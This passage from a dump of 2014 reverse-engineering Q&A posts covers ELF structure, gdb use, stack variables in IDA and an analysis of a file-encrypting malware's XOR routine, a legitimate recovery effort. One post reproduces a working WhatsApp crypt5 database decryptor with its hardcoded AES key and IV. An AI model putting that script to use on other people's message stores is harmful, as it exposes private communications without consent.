sizeof(MYTYPE),\n         StrCmpiWrapper,\n         &found);\n\n  if ( !found && pFirstOccurrance )\n  {\n      //Allocate memory .. copy it and other stuff here.\n  }\n\n    return 0;\n}\n
\n" }, { "Id": "4142", "CreationDate": "2014-04-20T21:57:10.790", "Body": "

I was going through DECIPHERING MSGSTORE.DB.CRYPT5, THE NEW DATABASE WHATSAPP\n & Steal WhatsApp update.

\n\n

The author of the first link published a decryptor which sets the iv for the aes_192_cbc to

\n\n
iv = bytearray([0x1E,0x39,0xF3,0x69,0xE9,0xD,0xB3,0x3A,0xA7,0x3B,0x44,0x2B,0xBB,0xB6,0xB0,0xB9])\n
\n\n

Here is the full decryptor:

\n\n
#!/usr/bin/python              \n\"\"\"\n48bits presents:\n8===============================================D~~~\nWhatsApp msgstore crypt5 decryptor by grbnz0 and nullsub\n8===============================================D~~~\n\n\"\"\"\n\nimport sys\nimport hashlib\nimport StringIO\nfrom M2Crypto import EVP\n\nkey = bytearray([141, 75, 21, 92, 201, 255, 129, 229, 203, 246, 250, 120, 25, 54, 106, 62, 198, 33, 166, 86, 65, 108, 215, 147])\niv = bytearray([0x1E,0x39,0xF3,0x69,0xE9,0xD,0xB3,0x3A,0xA7,0x3B,0x44,0x2B,0xBB,0xB6,0xB0,0xB9])\n\ndef decrypt(db,acc):\n  fh = file(db,'rb')\n  edb = fh.read()\n  fh.close()\n  m = hashlib.md5()\n  m.update(acc)\n  md5 = bytearray(m.digest())\n  for i in xrange(24): key[i] ^= md5[i&0xF]\n  cipher = EVP.Cipher('aes_192_cbc', key=key, iv=iv, op=0)\n  sys.stdout.write(cipher.update(edb))\n  sys.stdout.write(cipher.final())\n\nif __name__ == '__main__':\n  if len(sys.argv) != 3:\n    print 'usage %s <db> <accountname> > decrypted.db' % sys.argv[0]\n  else:\n    decrypt(sys.argv[1],sys.argv[2])\n
\n\n

The only piece I miss is where did the IV came from ? I don't see it on the ida snapshot:

\n\n

\"enter

\n", "Title": "How the author found the initialization vector for the AES CBC whatsapp CRYPT5 db uses?", "Tags": "|cryptography|", "Answer": "

It doesn't seem to be on the IDA snapshot. You probably identified the right part of the program flow to set the initial key array. and assumed that the left part should have something to do with the iv, but that's not true. iv is 16 bytes, the left part of the IDA disassembly defines 24 bytes, which is the same length as key. Also, the very top of the image shows there's an if condition that branches either to setting up the key or setting up the left part, so these branches exclude each other.

\n\n

After the key initialization on the right part, the MD5 calculation is performed, then there's the call to dword ptr eax+2AH where eax is set up to [ebp+0], and ebp itself being the top item on the stack. The parameters are put on the stack - ebp on top, then edx=esp+40, then edx=esp+60. esp+60 is setup earlier to be the location of the result of the call that preludes MD5_Init, and obviously the string being MD5'ed (MD5_Update(x, esp+60, strlen(esp+60)). This pattern - ebp being a pointer to data and functions, with the first parameter of the functions being ebp - hints at ebp being a pointer to a C++ class.

\n\n

Overall, the right part sets up the key, calls a class method, does the MD5 stuff, and calls another class method. Comparing that to the python script, it seems like the first class method performs the python \"read from file\", the second the XOR-ing. The CVP.cipher call comes later, not shown on the IDA snapshot, so you can't see how iv is set up.

\n\n

The left part of the IDA snapshot is something else, maybe code for decrypting old versions of the database. The top of the IDA snapshot says \"perform the right part if something is equal to 5\"; this could be a version number, with lower versions branching to the left; however, the IDA disassemble doesn't show the conditions for the left side branch, so this is guesswork.

\n" }, { "Id": "4146", "CreationDate": "2014-04-25T21:37:10.020", "Body": "

Given a binary and only using a tool like ndisasm, how can I find main()?\nI don't want to use smart tools like IDA Pro because I'm doing this exercise to learn.

\n", "Title": "How to find main() in binary?", "Tags": "|disassembly|", "Answer": "

This is quite tricky and necessitates a LOT of patience. I'll assume here that you're trying to find the main function as it is defined in C and not as the entry point of your program. It's very hard to find what you're looking for by scanning the code with your eyes & brain. But here's a way. What you can do is first check the header of the binary file you're trying to disassemble. Below you'll find the output of readelf -h on a random file. If the file isn't damaged (on purpose or not) you'll be able to find the Entry point address.

\n\n
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 \n  Class:                             ELF64\n  Data:                              2's complement, little endian\n  Version:                           1 (current)\n  OS/ABI:                            UNIX - System V\n  ABI Version:                       0\n  Type:                              EXEC (Executable file)\n  Machine:                           Advanced Micro Devices X86-64\n  Version:                           0x1\n  Entry point address:               0x400440\n  Start of program headers:          64 (bytes into file)\n  Start of section headers:          4680 (bytes into file)\n  Flags:                             0x0\n  Size of this header:               64 (bytes)\n  Size of program headers:           56 (bytes)\n  Number of program headers:         8\n  Size of section headers:           64 (bytes)\n  Number of section headers:         35\n  Section header string table index: 32\n
\n\n

This address usually points to the location of the first chunk of code which will be executed at run time (_start function) and which will handle the main function parameters (or command line arguments) before calling the main function. Another technique would be to run your program under a debugger (GDB for instance) and go step by step.

\n\n

I have to warn you though, if you're dealing with ELF binaries, things could turn out to be more complicated as they contain ctor and dtor tables which hold pointers to functions that are executed before and after the main function. You have also some undocumented weirdness going on when dealing with statically linked binaries. And of course, other programs can make do without a main function and call whatever they wish.

\n" }, { "Id": "4149", "CreationDate": "2014-04-26T00:21:24.140", "Body": "

I want to learn reverse engineering so I was starting to try compiling simple (to start with) C programs and then reading the disassembly.

\n\n

The following file

\n\n
int main(void) {\n  return 0;\n}\n
\n\n

compiled with gcc then disassembled with objdump -d ends up creating 172 lines of output. I don't understand why there is so much output.

\n\n

What is the meaning of the different sections:

\n\n
0000000000400370 <_init>:\n0000000000400390 <__libc_start_main@plt-0x10>:\n00000000004003a0 <__libc_start_main@plt>:\n00000000004003b0 <__gmon_start__@plt>:\n00000000004003c0 <_start>:\n00000000004003f0 <deregister_tm_clones>:\n0000000000400420 <register_tm_clones>:\n0000000000400460 <__do_global_dtors_aux>:\n0000000000400480 <frame_dummy>:\n00000000004004ad <main>:\n00000000004004c0 <__libc_csu_init>:\n0000000000400530 <__libc_csu_fini>:\n0000000000400534 <_fini>:\n
\n\n

Of course I have been reading about the calling convention and opcodes so I can see how the section corresponds to the C code.

\n", "Title": "What are the sections of a x86 linux binary?", "Tags": "|assembly|x86|objdump|", "Answer": "

I see you're mixing up sections with functions.

\n\n

What you have provided in your question are functions necessary to an ELF binary to execute. For example, the _start function is usually the entry point of a binary and it will probably call the main function at some point. You can get the address of the entry of a binary using readelf -h on the binary file you have.

\n\n

About the output, though your program is \"empty\" it was still compiled & linked successfully - for that it is not erroneous - into an executable ELF. This document provides everything you need to know about how an ELF binary is structured & how to manipulate it : ELF Format (PDF).

\n\n

Now if you want to retrieve section information in a binary file the readelf function can again help with that, you just have to call it with the -S and the target binary file (readelf -S prog).

\n\n

Since you're just starting to learn, I recommend you checking the binutils (readelf, objdump, ...) and their related documentation and start playing with simple programs before moving to crackmes and more advanced or obfuscated binary files.

\n" }, { "Id": "4150", "CreationDate": "2014-04-26T00:54:07.627", "Body": "

I used the file command in Linux to get information about a binary file. I am also looking for the addresses that these calls are located at. I think I can get this information from GDB or objdump but I am not very good with Linux commands and programs yet so any help is much appreciated. The output from the file command is below:

\n\n
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x6d232dd468b2344847a4b9c81eb064ffe257d5d0, stripped\n
\n\n

Then using the strings command I got this output (I see several C function calls but which are external ?):

\n\n
/lib/ld-linux.so.2\n-#mH4\n__gmon_start__\nlibc.so.6\n_IO_stdin_used\nexit\nstrncmp\nstrncpy\nputs\nprintf\nmalloc\natoi\n__libc_start_main\nGLIBC_2.0\nPTRh\nQVh>\nUWVS\n[^_]\ntesting\nstrncmp: %s;\natoi\nComplete\n;*2$\"\n
\n", "Title": "How do I view external function calls in dynamically linked ELF binary in linux?", "Tags": "|gdb|static-analysis|dynamic-analysis|dynamic-linking|objdump|", "Answer": "

The answer to your question is fairly easy. You can either use the nm command with the -D switch (or --dynamic), or use objdump with the -T switch. Both commands will output the dynamic symbol table entries and the libraries they originate from.

\n" }, { "Id": "4189", "CreationDate": "2014-04-28T11:45:59.620", "Body": "

Trying to understand a function thats responsible for sending out a packet.\nI don't understand could it be a integer array or something? or some inline function that's not properly getting rendered in Hex-Rays

\n\n

I understand the else statement sends a 4 byte packet which contains a timestamp of the GetTickCount API.

\n\n

The if statement should send the packet that comes in the a2 is the pointer to characters with a3 being the size for all the characters.

\n\n

Usage is similar to this

\n\n
char buffer[448];\nmemset(buffer, 0, sizeof(buffer));\n//blah blah packet stuff here\nstrncpy(&buffer[90], \"blah blah blah\", 250u);\nbuffer[339] = 0;\n//then the call below.\n// 91+250+91 = 432, yet memset is 448, 16 extra probably stack padding.\ntest(*v28, buffer, strlen(&buffer[90]) + 91);\n
\n\n

\n\n

Here is the original code decompiled from Hex-Rays.

\n\n
void __thiscall test(void *this, const void *a2, unsigned int a3)\n{\n  void *v3; // ebx@1\n  char *v4; // eax@3\n  int v5; // [sp-8h] [bp-418h]@3\n  int v6; // [sp-4h] [bp-414h]@3\n  char v7[4]; // [sp+Ch] [bp-404h]@4\n  char buf[1024]; // [sp+10h] [bp-400h]@3\n\n  v3 = this;\n  if ( a2 && (signed int)a3 > 0 )\n  {\n    *(_DWORD *)buf = 0;\n    memcpy(&buf[4], a2, 4 * (a3 >> 2));\n    v6 = 0;\n    v5 = a3 + 4;\n    v4 = buf;\n    memcpy(&buf[4 * (a3 >> 2) + 4], (char *)a2 + 4 * (a3 >> 2), a3 & 3);// Looks like Copy by DWORDs, not by Bytes.\n  }\n  else\n  {\n    v6 = 0;\n    *(_DWORD *)v7 = GetTickCount() / 0xA;\n    v5 = 4;\n    v4 = v7;\n  }\n  send(*(_DWORD *)v3, v4, v5, v6);\n}\n
\n\n

Here I fixed it up a little by hand, still don't understand it.

\n\n
void __thiscall test(void *this, const void *a2, unsigned int a3)\n{\n  void *v3; // ebx@1\n  char *v4; // eax@3\n  int v5; // [sp-8h] [bp-418h]@3\n  int v6; // [sp-4h] [bp-414h]@3\n  char v7[4]; // [sp+Ch] [bp-404h]@4\n  char buf[1024]; // [sp+10h] [bp-400h]@3\n\n  v3 = this;\n  if ( a2 && (signed int)a3 > 0 )\n  {\n    *(_DWORD *)buf = 0;\n    //Might be a swap of the 5th offset DWORD to end of the packet?\n    //Or maybe it fills in the packet offsetted by the first 4 bytes?\n    memcpy(&buf[4], a2, 4 * (a3 / 4)); // Looks like Copy by DWORDs, not by Bytes.\n    v6 = 0;\n    v5 = a3 + 4;\n    v4 = buf;\n    //Might be a swap of the end of the packet to the 5th offset DWORD?\n    //Looks like some kind of footer to above memcpy function like to finish what the first function couldn't do?\n    memcpy(&buf[4 * (a3 / 4) + 4], (char *)a2 + 4 * (a3 / 4), a3 & 3);// Looks like Copy by DWORDs, not by Bytes.\n  }\n  else\n  {\n    v6 = 0;\n    *(_DWORD *)v7 = GetTickCount() / 0xA;\n    v5 = 4;\n    v4 = v7;\n  }\n  send(*(_DWORD *)v3, v4, v5, v6);\n}\n
\n\n

Okay I gave it some more time could this be the correct?

\n\n
void __thiscall test(void *this, const void *a2, unsigned int a3)\n{\n  void *v3; // ebx@1\n  char *v4; // eax@3\n  int v5; // [sp-8h] [bp-418h]@3\n  int v6; // [sp-4h] [bp-414h]@3\n  char v7[4]; // [sp+Ch] [bp-404h]@4\n  char buf[1024]; // [sp+10h] [bp-400h]@3\n\n  v3 = this;\n  if ( a2 && (signed int)a3 > 0 )\n  {\n    *(_DWORD *)buf = 0;\n    memmove(&buf[4],a2,a3 - 4); \n\n    v6 = 0;\n    v5 = a3 + 4;\n    v4 = buf;\n  }\n  else\n  {\n    v6 = 0;\n    *(_DWORD *)v7 = GetTickCount() / 0xA;\n    v5 = 4;\n    v4 = v7;\n  }\n  send(*(_DWORD *)v3, v4, v5, v6);\n}\n
\n\n

Assembly below

\n\n
.text:00408750 ; =============== S U B R O U T I N E =======================================\n.text:00408750\n.text:00408750\n.text:00408750 ; void __thiscall test(void *this, const void *a2, unsigned int a3)\n.text:00408750 test proc near\n.text:00408750                                         ; CODE XREF: ServerMainLoop+5DDp\n.text:00408750                                         ; ServerMainLoop+64Dp\n.text:00408750\n.text:00408750 var_404         = byte ptr -404h\n.text:00408750 buf             = byte ptr -400h\n.text:00408750 a2              = dword ptr  4\n.text:00408750 a3              = dword ptr  8\n.text:00408750\n.text:00408750                 sub     esp, 404h\n.text:00408756                 push    ebx\n.text:00408757                 push    esi\n.text:00408758                 mov     esi, [esp+40Ch+a2]\n.text:0040875F                 push    edi\n.text:00408760                 test    esi, esi\n.text:00408762                 mov     ebx, ecx\n.text:00408764                 jz      short loc_408799\n.text:00408766                 mov     eax, [esp+410h+a3]\n.text:0040876D                 test    eax, eax\n.text:0040876F                 jle     short loc_408799\n.text:00408771                 mov     ecx, eax\n.text:00408773                 lea     edi, [esp+410h+buf+4]\n.text:00408777                 mov     edx, ecx\n.text:00408779                 mov     dword ptr [esp+410h+buf], 0\n.text:00408781                 shr     ecx, 2\n.text:00408784                 rep movsd\n.text:00408786                 mov     ecx, edx\n.text:00408788                 push    0\n.text:0040878A                 and     ecx, 3\n.text:0040878D                 add     eax, 4\n.text:00408790                 push    eax\n.text:00408791                 lea     eax, [esp+418h+buf]\n.text:00408795                 rep movsb\n.text:00408797                 jmp     short loc_4087B7\n.text:00408799 ; ---------------------------------------------------------------------------\n.text:00408799\n.text:00408799 loc_408799:                             ; CODE XREF: test+14j\n.text:00408799                                         ; test+1Fj\n.text:00408799                 call    ds:GetTickCount\n.text:0040879F                 mov     edx, eax\n.text:004087A1                 mov     eax, 0CCCCCCCDh\n.text:004087A6                 mul     edx\n.text:004087A8                 shr     edx, 3\n.text:004087AB                 push    0               ; flags\n.text:004087AD                 mov     dword ptr [esp+414h+var_404], edx\n.text:004087B1                 push    4               ; len\n.text:004087B3                 lea     eax, [esp+418h+var_404]\n.text:004087B7\n.text:004087B7 loc_4087B7:                             ; CODE XREF: test+47j\n.text:004087B7                 mov     ecx, [ebx]\n.text:004087B9                 push    eax             ; buf\n.text:004087BA                 push    ecx             ; s\n.text:004087BB                 call    send\n.text:004087C0                 pop     edi\n.text:004087C1                 pop     esi\n.text:004087C2                 pop     ebx\n.text:004087C3                 add     esp, 404h\n.text:004087C9                 retn    8\n.text:004087C9 test endp\n.text:004087C9\n.text:004087C9 ; ---------------------------------------------------------------------------\n
\n", "Title": "Can someone tell me what this memcpy or maybe it's a memset? looks like a memset, rep movsd and rep movsb This is a packet sending function", "Tags": "|ida|decompilation|", "Answer": "

It's not a memset at all, it's just a memcpy. Copying dword by dword is more efficient than byte by byte, since 32 bits of data bus can be used per copy (at least if the data is word aligned). So what the compiler does is:

\n\n\n\n

What adds to the confusion is that the compiler already prepares the arguments for the next function call while still doing the memcpy - the push 0, add eax, 4 and push eax belong to the send call after the jmp.

\n" }, { "Id": "4192", "CreationDate": "2014-04-28T15:25:38.817", "Body": "

Here is my objdump -d snippet with the malloc call and surrounding code. This binary is stripped.

\n\n
dbgLab.bin:     file format elf32-i386\n\n\n080483d0 <malloc@plt>:\n 80483d0:   ff 25 04 a0 04 08       jmp    *0x804a004\n 80483d6:   68 08 00 00 00          push   $0x8\n 80483db:   e9 d0 ff ff ff          jmp    80483b0 <printf@plt-0x10>\n\n\nDisassembly of section .text:\n\n\n 804853e:   55                      push   %ebp\n 804853f:   89 e5                   mov    %esp,%ebp\n 8048541:   83 e4 f0                and    $0xfffffff0,%esp\n 8048544:   83 ec 20                sub    $0x20,%esp\n 8048547:   c6 44 24 1f cf          movb   $0xcf,0x1f(%esp)\n 804854c:   c7 04 24 0d 00 00 00    movl   $0xd,(%esp)\n 8048553:   e8 78 fe ff ff          call   80483d0 <malloc@plt>\n 8048558:   89 44 24 18             mov    %eax,0x18(%esp)\n 804855c:   83 7d 08 02             cmpl   $0x2,0x8(%ebp)\n 8048560:   7f 0c                   jg     804856e <strncmp@plt+0x12e>\n 8048562:   c7 04 24 ff ff ff ff    movl   $0xffffffff,(%esp)\n 8048569:   e8 92 fe ff ff          call   8048400 <exit@plt>\n 804856e:   8b 45 0c                mov    0xc(%ebp),%eax\n 8048571:   83 c0 04                add    $0x4,%eax\n 8048574:   8b 00                   mov    (%eax),%eax\n 8048576:   c7 44 24 08 0d 00 00    movl   $0xd,0x8(%esp)\n
\n", "Title": "At which address on the stack or in memory is eax stored after the malloc call?", "Tags": "|ida|decompilation|debuggers|gdb|objdump|", "Answer": "

A call to malloc returns the address of the allocated memory in the eax register on x86, rax on x86_64, and r0 on ARM. Nothing is pushed on the stack. Check the line following the call to malloc & you'll understand !\nYou should check the calling conventions of your platform too.

\n\n

Suppose you have this in your code :

\n\n
      int *p = malloc(sizeof(int) * 4);\n
\n\n

If you translate this line into assembly you'll get what follows :

\n\n
      call   80483d0 <malloc@plt>\n      mov    %eax,0x18(%esp)\n
\n\n

The malloc call returns in eax the address of allocated memory block. In the C code, this address is assigned to p which is a local variable located on the stack. And that's what the following assembly does : mov %eax,0x18(%esp).

\n" }, { "Id": "4196", "CreationDate": "2014-04-29T00:58:56.597", "Body": "

How can I figure out which general-purpose registers are modified by a function call. I am programming a Win32 Assembly program that calls IsDebuggerPresent(). According to MSDN, it will return a boolean value of nonzero is a debugger is present. How would I find out which register is modified without having to assemble and link the program to test it.

\n", "Title": "registers set by function", "Tags": "|windows|debugging|anti-debugging|", "Answer": "

In general, this concept is referred to as register preservation or register volatility.

\n\n

From http://en.wikipedia.org/wiki/X86_calling_conventions#Register_preservation --

\n\n
\n

According to the Intel ABI to which the vast majority of compilers\n conform, the EAX, EDX, and ECX are to be free for use within a\n procedure or function, and need not be preserved.

\n
\n\n

In other words, an API function such as IsDebuggerPresent() might modify EAX, EDX, and/or ECX, but it won't modify EBX, ESP, or EBP.

\n" }, { "Id": "4203", "CreationDate": "2014-04-29T20:42:00.310", "Body": "

I am looking for something that is like gdb but maybe with a GUI that can show all registers current values ans the current values of memory and things on the stack? Freeware is preferred. I have a free version of IDA and anything that comes with Kali Linux. It is an ELF file that is stripped.

\n", "Title": "Tools to show the registers and memory locations in use during execution?", "Tags": "|ida|disassembly|decompilation|binary-analysis|gdb|", "Answer": "

cgdb is a curses based gdb interface that may be worth looking at:

\n\n

https://cgdb.github.io/

\n" }, { "Id": "4213", "CreationDate": "2014-04-30T11:32:13.813", "Body": "

I have a problem just like in the question. Modern compilers don't use ebp to handle local variables and arguments, they just calculate and add hard=coded offsets to esp. Example:

\n\n
sub     esp, 5Eh  \n...     \nmov     [esp+5Eh+var_1], 123h\nmov     [esp+5Eh+var_2], 456h\ncall    some_func            ; var_1 and var_2 point to actual addresses\ncmp     eax, 0               ; esp changed (stdcall), var_1 and var_2 point to wrong addresses\n\n...\n\n;  creation of a \"fake\" variable example:\n;  var_3 = -8h\n;  var_4 = -12h \nmov     [esp+5Eh+var_3], 78h  ; var_3 at: esp + 5Eh -8h\npop     eax                   ; esp = esp + 4  \nmov     [esp+5Eh+var_4], 89h  ; var_4 at: esp + 4  + 5eh -12h = esp + 5Eh -8h = var_3\n; desireable fix:\nmov     [esp+62h+var_3], 89h \n
\n\n

This results in a lot of overhead: IDA creates \"fake\" local variables (i.e. several names for one and the same address), you can't freely check variables whenever you want to, you have to create additional comments, etc. So I was wondering is there any way to fix that ?

\n\n

PS. I'm using IDA Pro Free. Tell me if it is possible only in IDA Pro (full version).

\n", "Title": "Is there a way to adjust local variables when a function doesn't utilize ebp?", "Tags": "|ida|", "Answer": "

The variable names that IDA is generating aren't \"fake\"; they are exactly the same as they would be labeled had the function been ebp-based. The problem you describe is only really an issue when debugging since that's the only time you can inspect the values pointed to. I'm not aware of any built-in way to get IDA to display what you want. When you hover over an operand, IDA just takes the current value of the register and adds the offset. If esp has changed, then it will show you the wrong address, which is what you're seeing in your example.

\n\n

Since IDA does know the correct stack offset, one way to do what you're asking is to write an IDC script that checks eip and adjusts for the difference in esp values before calculating the final target address. The IDC function that gets the stack offset at a given address is GetSpd(). The algorithm would go something like this:

\n\n
    \n
  1. Calculate the target address of the operand you are interested in (i.e. esp+5Eh+var_1 -> 0x10000000)
    2. \n
  2. Get the stack pointer delta (SPD) of the line containing the operand you're interested in (i.e. 5Eh)
    3. \n
  3. Get the SPD of eip (i.e. 6Eh)
    4. \n
  4. Calculate the difference of the two SPDs and add (or subtract) that amount from the target address you calculated in step 1 (i.e. 0x10000000 + (6Eh-5Eh) = 0x10000010)
    5. \n
  5. Go to your calculated address ([0x10000010] contains the variable you are after)
    6. \n
\n" }, { "Id": "4216", "CreationDate": "2014-04-30T16:20:48.623", "Body": "

I am a noob to the reversing world. I have a Android Java application which uses a shared library via JNI and I would like to set a breakpoint in the shared library. The shared library is stripped so as I far as I understand I can set breakpoints by address only. I have put the shared object through IDA and have a couple of positions I would like to set breakpoints but I am unsure on how I can calculate this or even if this is possible. I am using gdbserver on Android attaching to the process and connecting from Mac OSX using gdb in the NDK. I have been trying to calculate the memory address by taking what /proc/'pid'/smap gives me and calculating an offset from the IDA assembly I have. Is this the right direction? Is this even possible?

\n", "Title": "Set breakpoint on shared library", "Tags": "|ida|gdb|android|arm|", "Answer": "

I've been doing the same/similar stuff recently, and while you can get it to work, it's not that easy.

\n\n

It helps if you have a rooted android device, a terminal emulator to run gdbserver, and, if possible, a terminal emulator that can open more than one window, so you kan kill the gdbserver from the second window if it hangs up. Also, a real keyboard on the android device helps, as it's much easier to repeat commands when you have real cursor keys.

\n\n

You don't need to connect your Droid to your mac using an USB cable. I started gdbserver like this:

\n\n
gdbserver --attach 0.0.0.0:8765 2338\n
\n\n

(where 2338 is the pid of my target application), then used

\n\n
$ arm-none-eabi-gdb\ntarget remote 192.168.178.103:8765\n
\n\n

to connect. 192.168.178.103 is the IP address of my android device.

\n\n

I didn't want to install the complete NDK on my machine, so i downloaded the ARM GDB from https://launchpad.net/gcc-arm-embedded/+download, they have windows, linux and mac versions. The NDK GDB should probably work as well, of course.

\n\n

You can add the \"IDA Address\" of the function to the Map address. For example, in my library:

\n\n\n\n

There are two things to consider when you check you really found the correct address:

\n\n\n\n

Use set arm force-mode arm and set arm force-mode thumb to try both. For example, this is what IDA told me about my BA584 function:

\n\n
.text:000BA584\n.text:000BA584 sub_BA584                               ; CODE XREF: sub_BF1C4+3Ap\n...\n.text:000BA584                 PUSH.W          {R4-R11,LR}\n.text:000BA588                 MOV             R6, R0\n.text:000BA58A                 SUB             SP, SP, #0x1C\n.text:000BA58C                 LDR             R0, [R0,#0x18]\n.text:000BA58E                 MOV             R4, R1\n.text:000BA590                 STR             R2, [SP,#0x40+var_34]\n
\n\n

this is what gdb made of it first:

\n\n
(gdb) x/20i 0x6890F584\n 0x6890f584:  svcmi   0x00f0e92d\n 0x6890f588:  addlt   r4, r7, r6, lsl #12\n 0x6890f58c:  strmi   r6, [r12], -r0, lsl #19\n 0x6890f590:  stmdacs r0, {r0, r1, r9, r12, pc}\n 0x6890f594:  bichi   pc, r10, r0\n 0x6890f598:  mlapl   r12, r6, r8, pc ; <UNPREDICTABLE>\n 0x6890f59c:                  ; <UNDEFINED> instruction: 0xf0402d00\n
\n\n

then

\n\n
(gdb) set arm force-mode thumb\n(gdb) x/20i 0x6890F584\n 0x6890f584:  stmdb   sp!, {r4, r5, r6, r7, r8, r9, r10, r11, lr}\n 0x6890f588:  mov     r6, r0\n 0x6890f58a:  sub     sp, #28\n 0x6890f58c:  ldr     r0, [r0, #24]\n 0x6890f58e:  mov     r4, r1\n 0x6890f590:  str     r2, [sp, #12]\n
\n\n

So don't give up if the disassembly looks weird, try forcing thumb / arm mode.

\n\n

My application crashed various times when i was debugging it, which made gdbserver lose sync with gdb, resulting in lots of \"Ignoring packet error\" messages from gdb. Killing gdbserver (thus the 2nd window), restarting the application, and reconnecting gdb seemed to be the only remedy in these cases. When you restart the application, make sure you re-check /proc/..../maps for the .so base address, it stays the same most of the time but changes sometimes, especially when there's some time between invocations. You'll notice my address (0x6890F584) in the above example does not match the one i told you earlier, this is because in the example, the map base address had changed to 68855000.

\n" }, { "Id": "4219", "CreationDate": "2014-04-30T18:22:47.713", "Body": "

I am using EDB and stepping through the program but I do not even know what the difference in behavior is when doing this. I feel like this is something I should know if I ever have hope of reverse engineering this program.

\n", "Title": "What is the difference between step into and step over when debugging?", "Tags": "|ida|disassembly|debuggers|gdb|debugging|", "Answer": "

The gdb terms (and commands) are step and next and the difference is that step continues to run until it changes line of source code, while next doesn't trace into a subroutine, but rather skips over it. The stepi and nexti commands are similar but operate at the machine instruction level rather than source code level. Read more in The Fine Manual.

\n

Here's an example that may help clarify. Let's say you have a simple project with three simple files:

\n

main.c

\n
#include "squareit.h"\n#include <stdio.h>\n\nint main(void) {\n    int x = 5;\n    printf("%d squared is %d\\n", x, squareit(x));\n}\n
\n

squareit.h

\n
#ifndef SQUAREIT_H\n#define SQUAREIT_H\n// return the square of an integer\nint squareit(int x);\n#endif // SQUAREIT_H\n
\n

squareit.c

\n
#include "squareit.h"\n\nint squareit(int x) {\n    return x*x;\n}\n
\n

We compile the program with debugging flags enabled (gcc -g main.c squareit.c -o simple) and then run gdb simple. If we are sitting on the printf line and execute step, we will find ourselves in the squareit() function. If instead at that same point we execute next, the squareit() function and the printf() functions will both execute and we will find ourselves on the last line of main().

\n

The session follows:

\n
(gdb) b main\nBreakpoint 1 at 0x40113d: file ./main.c, line 5.\n(gdb) run\nStarting program: ./simple \n\nBreakpoint 1, main () at ./main.c:5\n5       int x = 5;\n(gdb) step\n6       printf("%d squared is %d\\n", x, squareit(x));\n(gdb) s\nsquareit (x=5) at ./squareit.c:4\n4       return x*x;\n(gdb) s\n5   }\n(gdb) s\n5 squared is 25\nmain () at ./main.c:7\n7   }\n(gdb) r\nThe program being debugged has been started already.\nStart it from the beginning? (y or n) y\nStarting program: ./simple \n\nBreakpoint 1, main () at ./main.c:5\n5       int x = 5;\n(gdb) s\n6       printf("%d squared is %d\\n", x, squareit(x));\n(gdb) next\n5 squared is 25\n7   }\n
\n

The gdb commands used here are b to set a breakpoint, s which is an alias of step, next (has an alias of n) and run (has an alias of r).

\n" }, { "Id": "4226", "CreationDate": "2014-04-27T20:16:34.257", "Body": "

I have been battling this infection I got that encrypts my files in 512 byte chunks with a friend. We have managed to find the Decryption function we think in IDA (the code is heavily obfuscated) from a user who paid for the decrypter. Below is the C dump of the encryption function:

\n\n
int __stdcall sub_40C78E(int a1, int a2, int a3, int a4)\n{\n  int result;\n  char v5; \n  int v6; \n  int v7; \n  int v8; \n\n  v7 = a1;\n  v6 = a2;\n  v5 = 0;\n  result = 0;\n  if ( a2 )\n  {\n    v8 = a3;\n    do\n    {\n      LOBYTE(v8) = v5 + v8;\n      *(_BYTE *)v7 ^= v8;\n      v5 = *(_BYTE *)v7++;\n      v8 = __ROL__(a4 + v8, 8);\n      --v6;\n    }\n    while ( v6 );\n    result = v8;\n  }\n  return result;\n}\n
\n\n

My friend tried to simplify it or make sense of it and this is what he came up with:

\n\n
int __stdcall sub_40C78E((_BYTE *)buffer, int nonce1, int nonce2)\n{\n  char v5; \n  int n; \n  int v8; \n\n  n = 0x400;    // It is a little bit confusing, because the length of block is 0x200 (rest of buffer is filled by 0).\n                        // Only first 0x200 bytes are saved to a file for block CT0A.\n  v5 = 0;\n  v8 = nonce1;\n\n  do\n  {\n      LOBYTE(v8) = v5 + LOBYTE(v8);\n      *buffer ^= LOBYTE(v8);\n      v5 = *buffer;\n      buffer++;\n      v8 = __ROL__(nonce2 + v8, 8);\n      --n;\n  }\n  while ( n );\n\nreturn v8;       \n}\n
\n\n

Where nonce1 and nonce2 is suppose to represent some kind of key.

\n\n

What we have found with this infection is that if you XOR the first byte of the cipher text with the plain text, you get a key byte you can use to get the first byte of every file back. Which makes sense with this function because the first time in the loop the key is added to 0, which means it is simply the key. But then this guy used some type of weird CFB type xor encryption where it uses the previous xor'ed byte with the key next.

\n\n

I just don't quite understand the function and I was hoping somewhere here could perhaps simplify it more for me or explain it. I also know C#, and VB if anyone would know how to explain the function in these languages.

\n", "Title": "IDA Pro C dump for Decryption function", "Tags": "|c|ida|", "Answer": "

As you expected, it's doing a very simple XOR. The equivalent code looks something like this:

\n\n
int mystery(char *buff, int bufsize, int nonce1, int nonce2)\n{\n  int result = 0;\n  // ch is the next byte (character) in the buffer\n  char ch = 0; \n  int count = bufsize; \n  char *ptr = buff; \n  int x;\n\n  for (x = nonce1; count; --count)\n  {\n      // this bit of trickery just replaces the low 8 bits\n      // of x with the low 8 bits of (x+ch) neglecting carry, if any\n      x = (x & ~0xff) | ((x+ch) & 0xff);\n      // XOR the buffer with the calculated x value\n      *ptr ^= x;\n      // read in the next character into ch\n      ch = *ptr++;\n      // obfuscate by adding nonce2 \n      x += nonce2;\n      // if x = 0x12345678, this would make it 0x34567812\n      // for 32-bit ints.  Just a rotate left of 8 bits.\n      x = (x<<8) | ((x >>((sizeof(int)-1)*8) ) & 0xff);  \n  }\n  result = x;\n  // return the last calculated x which may be used to chain all\n  // of the blocks together.  That is, the return value x is \n  // probably passed as nonce1 to encode the next block.\n  return result;\n}\n
\n" }, { "Id": "4230", "CreationDate": "2014-05-01T21:50:42.797", "Body": "

Test is on Linux 32bit.

\n\n

I use this command to get the context of .text .rodata and .data section:

\n\n
objdump -s -j .text elf_binary\nobjdump -s -j .rodata elf_binary\nobjdump -s -j .data elf_binary\n
\n\n

But basically when I tried to use this to get the content of .bss section, I always get the error shown below:

\n\n
objdump -s -j .bss elf_binary\n\nobjdump: section '.bss' mentioned in a -j option, but not found in any input file\n
\n\n

Basically how can I get the content of .bss section from ELF binary?

\n", "Title": "Why I can not directly get the content of `.bss` section?", "Tags": "|disassembly|binary-analysis|elf|", "Answer": "

